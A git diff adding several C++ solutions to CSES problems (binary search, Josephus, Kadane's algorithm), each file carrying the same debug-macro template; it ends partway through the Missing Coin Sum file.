b/DSA/CSES_ProblemSet/Array_Division.cpp @@ -0,0 +1,285 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +// dsu class ---- starts here +class dsu +{ +private: + vector parent; + vector siz; + +public: + dsu(vector parent, vector siz) + { + this->parent = parent; + this->siz = siz; + } + + void make_set(int v) + { + parent[v] = v; + siz[v] = 1; + } + + int find_set(int v) + { + if (v == parent[v]) + return v; + return parent[v] = find_set(parent[v]); + } + + void union_set(int a, int b) + { + a = find_set(a); + b = find_set(b); + if (a != b) + { + if (siz[a] < siz[b]) + swap(a, b); + parent[b] = a; + siz[a] += siz[b]; + } + } +}; + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n, k; + cin >> n >> k; + vll ar(n); + for (int i = 0; i < n; i++) + cin >> ar[i]; + // debug(ar); + + auto works = [&](ll mid) + { + ll sum = 0; + int grp = 0; + for (int i = 0; i < n; i++) + { + if (ar[i] > mid) + return false; + if (sum + ar[i] > mid) + sum = 0, grp++; + sum += ar[i]; + } + + if (sum > 0) + grp++; + return grp <= k; + }; + + ll l = 0, r = 1e18, ans = 0; + while (l <= r) + { + ll mid = l + (r - l) / 2; + + if (works(mid)) + { + ans = mid; + r = mid - 1; + } + else + l = mid + 1; + } + + cout << ans << endl; +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Collecting_Numbers.cpp b/DSA/CSES_ProblemSet/Collecting_Numbers.cpp new file mode 100644 index 000000000..289e9aaa1 --- /dev/null +++ b/DSA/CSES_ProblemSet/Collecting_Numbers.cpp @@ -0,0 +1,221 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n; + cin >> n; + int ar[n + 1]; + int f[n + 1] = {0}; + for (int i = 1; i <= n; i++) + { + cin >> ar[i]; + f[ar[i]] = i; + } + + int cnt = 1; + for (int i = 2; i <= n; i++) + { + if (f[i] < f[i - 1]) + cnt++; + } + out(cnt); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Factory_Machines.cpp b/DSA/CSES_ProblemSet/Factory_Machines.cpp new file mode 100644 index 000000000..cc5f2f959 --- /dev/null +++ b/DSA/CSES_ProblemSet/Factory_Machines.cpp @@ -0,0 +1,228 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n, m; + cin >> n >> m; + vll ar(n); + for (int i = 0; i < n; i++) + cin >> ar[i]; + ll left = 0, right = 1e18; + ll res = 0; + while (left <= right) + { + ll sum = 0; + ll mid = left + (right - left) / 2; + for (int i = 0; i < n; i++) + { + sum += mid / ar[i]; + if (sum >= m) + break; + } + + if (sum >= m) + res = mid, right = mid - 1; + else + left = mid + 1; + } + out(res); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Josephus_Problem_I.cpp b/DSA/CSES_ProblemSet/Josephus_Problem_I.cpp new file mode 100644 index 000000000..6b63ddd8e --- /dev/null +++ b/DSA/CSES_ProblemSet/Josephus_Problem_I.cpp @@ -0,0 +1,220 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + int n; + cin >> n; + int a = 1, b = 0; + while (n > 0) + { + for (int i = 2; i <= n; i += 2) + { + cout << a * i + b << ' '; + } + if (n & 1) + cout << a + b << ' ', b += a; + else + b -= a; + a <<= 1; + n >>= 1; + } +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Josephus_Problem_II.cpp b/DSA/CSES_ProblemSet/Josephus_Problem_II.cpp new file mode 100644 index 000000000..297ea19c7 --- /dev/null +++ b/DSA/CSES_ProblemSet/Josephus_Problem_II.cpp @@ -0,0 +1,233 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n, k; + cin >> n >> k; + ll cnt = k; + bool vis[n + 1] = {0}; + int tot = 0; + + int x = (k + 1) % n; + // if (k >= n) + // { + // cout << x << endl; + // return; + // } + while (tot != n) + { + // debug(x, cnt); + if (x > n) + x = x % n; + if (vis[x]) + { + x++; + continue; + } + if (cnt < k) + cnt++; + else if (!vis[x] && cnt == k) + cout << x << " ", vis[x] = 1, cnt = 0, tot++; + + x++; + } +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Maximum_Subarray_Sum.cpp b/DSA/CSES_ProblemSet/Maximum_Subarray_Sum.cpp new file mode 100644 index 000000000..7b73fe8e5 --- /dev/null +++ b/DSA/CSES_ProblemSet/Maximum_Subarray_Sum.cpp @@ -0,0 +1,219 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] = isPrime[1] = false; + + for (int i = 2; i * i <= n; i++) + { + if (isPrime[i]) + { + for (int j = i * i; j <= n; j += i) + isPrime[j] = false; + } + } + + // after this, all the numbers which are primes are marked as 1 + return isPrime; +} + +bool isPerfectSquare(ll x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) + { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +bool isPrime(ll n) +{ + if (n == 0 || n == 1) + return false; + + for (int i = 2; i * i <= n; i++) + { + if (n % i == 0) + return false; + } + return true; +} + +// a to power b +ll binpow(ll a, ll b) +{ + ll res = 1; + while (b > 0) + { + if (b & 1) + res = res * a; + a = a * a; + b >>= 1; + } + return res; +} + +void solve() +{ + ll n; + cin >> n; + ll ar[n]; + inarr(ar, n); + + ll maxSum = INT64_MIN, currSum = 0; + for (int i = 0; i < n; i++) + { + currSum += ar[i]; + maxSum = max(currSum, maxSum); + if (currSum < 0) + currSum = 0; + } + + out(maxSum); +} + +int main() +{ + fast_io(); + int t = 1; + // cin >> t; + + clock_t p; + p = clock(); + w(t) + { + + // each iteration takes this time + // p = clock() - p; + // cerr << "time : " << float(p)/CLOCKS_PER_SEC << " sec\n"; + solve(); + } + + return 0; +} \ No newline at end of file diff --git a/DSA/CSES_ProblemSet/Missing_Coin_Sum.cpp b/DSA/CSES_ProblemSet/Missing_Coin_Sum.cpp new file mode 100644 index 000000000..e67ece921 --- /dev/null +++ b/DSA/CSES_ProblemSet/Missing_Coin_Sum.cpp @@ -0,0 +1,222 @@ +/* Code by - Sahil Sarwar */ + +#include +#include +#include +#include + +using namespace std; + +// Debug templates + +void __print(int x) { cerr << x; } +void __print(long x) { cerr << x; } +void __print(long long x) { cerr << x; } +void __print(unsigned x) { cerr << x; } +void __print(unsigned long x) { cerr << x; } +void __print(unsigned long long x) { cerr << x; } +void __print(float x) { cerr << x; } +void __print(double x) { cerr << x; } +void __print(long double x) { cerr << x; } +void __print(char x) { cerr << '\'' << x << '\''; } +void __print(const char *x) { cerr << '\"' << x << '\"'; } +void __print(const string &x) { cerr << '\"' << x << '\"'; } +void __print(bool x) { cerr << (x ? "true" : "false"); } + +template +void __print(const pair &x) +{ + cerr << '{'; + __print(x.first); + cerr << ','; + __print(x.second); + cerr << '}'; +} +template +void __print(const T &x) +{ + int f = 0; + cerr << '{'; + for (auto &i : x) + cerr << (f++ ? "," : ""), __print(i); + cerr << "}"; +} +void _print() { cerr << "]\n"; } +template +void _print(T t, V... v) +{ + __print(t); + if (sizeof...(v)) + cerr << ", "; + _print(v...); +} +#ifndef ONLINE_JUDGE +#define debug(x...) \ + cerr << "[" << #x << "] = ["; \ + _print(x) +#else +#define debug(x...) +#endif + +// debug template ends + +#define ll long long +#define w(t) while (t--) +#define vec vector +#define vi vector +#define pqmin priority_queue +#define pqmax priority_queue, greater> +#define ins insert +#define fbo(a) find_by_order(a) //will give a-th largest element +#define ook(a) order_of_key(a) //will give no. of elements strictly lesser than a +#define pii pair +#define _decint greater() +#define _decll greater() +#define mem(a, x) memset(a, x, sizeof(a)) +#define vll vector +#define pll pair +#define pb push_back +#define all(c) c.begin(), c.end() +#define all_ar(ar, n) ar, ar + n +#define For(i, a, b) for (size_t i = a; i < b; ++i) +#define Rof(i, a, b) for (size_t i = a; i >= b; i--) +#define print_ar(ar, n) \ + for (size_t i = 0; i < n; i++) \ + { \ + cout << ar[i] << " "; \ + } +#define out(x) cout << x << endl +#define out__(x, y) cout << x << " " << y << endl +#define inarr(arr, n) For(i, 0, n) cin >> arr[i] +#define mx_a(arr, n) max_element(arr, arr + n) +#define mn_a(arr, n) min_element(arr, arr + n) +#define mx_c(container) max_element(container.begin(), container.end()) +#define mn_c(container) min_element(container.begin(), container.end()) +#define un_m unordered_map +#define F first +#define S second +#define not_found string::npos +#define vec_2d vector> + +#define fast_io() \ + ios_base::sync_with_stdio(false); \ + cin.tie(NULL); \ + cout.tie(NULL); + +const ll INF = 1e18; +const int MOD = 1e9 + 7; + +inline int64_t mul(int64_t a, int64_t b) +{ + return (INF / a > b ? a * b : INF); +} + +inline int64_t add(int64_t a, int64_t b) +{ + return (a + b >= INF ? INF : a + b); +} + +vector sieve(ll n) +{ + vector isPrime(n + 1, 0); + isPrime[0] 